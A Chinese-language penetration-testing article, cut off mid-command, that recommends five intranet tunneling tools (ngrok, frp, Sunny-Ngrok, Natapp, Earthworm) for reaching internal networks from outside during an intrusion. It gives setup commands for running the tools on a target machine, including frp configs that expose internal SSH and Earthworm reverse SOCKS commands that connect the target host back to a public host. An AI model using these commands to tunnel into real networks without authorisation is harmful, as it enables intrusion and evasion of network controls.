在渗透过程中,我们需要快速实现内网穿透,从而绕过网络访问限制,直接从外网来访问内网。今天,我们来推荐几款非常好用的内网穿透工具,如有其它推荐,欢迎补充和指正。
1. ngrok
ngrok 是一个反向代理,通过在公共的端点和本地运行的 Web 服务器之间建立一个安全的通道。
官网地址:ngrok.com
使用步骤:
(1)进入ngrok官网注册账号,并下载ngrok。
(2)在目标机器上,填写授权码,运行ngrok。
./ngrok authtoken 授权码
(3)将HTTP隧道转发到本地端口80,如下图,通过外网域名即可访问到本地80端口。
./ngrok http 80
2、frp
frp 是一个高性能的反向代理应用,可以帮助您轻松地进行内网穿透,对外网提供服务,支持 tcp, http, https 等协议类型,并且 web 服务支持根据域名进行路由转发。
git项目地址:github.com/fatedier/fr…
使用步骤:
(1)将 frps 及 frps.ini 放到有公网 IP 的机器上,修改frps.ini文件,配置一个名为ssh的反向代理:
# frps.ini[common]bind_port = 7000
[ssh]listen_port=6000auth_token=123
(2)启动frps:
./frps -c ./frps.ini
(3)将 frpc 及 frpc.ini 放到处于内网环境的机器上,修改 frpc.ini 文件,设置 frps 所在服务器的 IP 为 x.x.x.x:
# frpc.ini[common]server_addr = 192.168.172.131server_port = 7000auth_token =123
[ssh]type = tcplocal_ip = 127.0.0.1local_port = 22remote_port = 6000
(4)启动frpc:
./frpc -c ./frpc.ini
(5)通过ssh访问内网服务器,假设用户名为test:
ssh -p 6000 test@x.x.x.x
3、Sunny-Ngrok
一条命令解决的外网访问内网问题,无需任何配置,一条命令让外网访问您的内网不再是距离。Ngrok客户端,支持Windows、Linux、Mac,提供python、PHP等版本。
官网地址:www.ngrok.cc
使用步骤:
(1) 开通http隧道,设置隧道协议、本地端口等信息。
(2) 通过隧道id启动隧道。
(3) 在公网上访问域名,即可访问到内网的网站。
4、Natapp
基于ngrok的内网映射工具,免费版本提供http,tcp,udp全隧道穿透、随机域名/随机TCP,UDP端口、不定时强制更换域名/端口和自定义本地端口。
下载地址:natapp.cn
使用步骤:
(1)购买隧道,设置隧道协议和本地端口。
(2)下载客户端,到目标主机,运行natapp。
(3)将natapp分配的网址复制下来,在浏览器中访问,可以看到内网穿透成功了!
5、Earthworm 内网穿透
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。
支持Windows、Linux、MacOS、Arm-Linux。
项目地址:rootkiter.com/EarthWorm
使用方法:
(1)正向 SOCKS v5 服务器,适用于目标网络边界存在公网IP且可任意开监听端口。
./ew -s ssocksd -l 1080
(2)反弹SOCKS v5 服务器,适用于目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
a) 先在一台具有公网 ip 的主机A上运行以下命令:
./ew -s rcsocks -l 1080 -e 8888
b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
./ew -s rssocks -d 1.1.1.1 -e 8888
(3)多级级联,适用于多层级的复杂网络环境,将内网深层的服务转发到外网。
二级级联测试用例
# 方式一:利用lcx_tran $ ./ew -s ssocksd -l 9999 $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
# 方式二: $ ./ew -s lcx_listen -l 1080 -e 8888 $ ./ew -s ssocksd -l 9999 $ ./ew -s lcx_slave -d 127.0.0.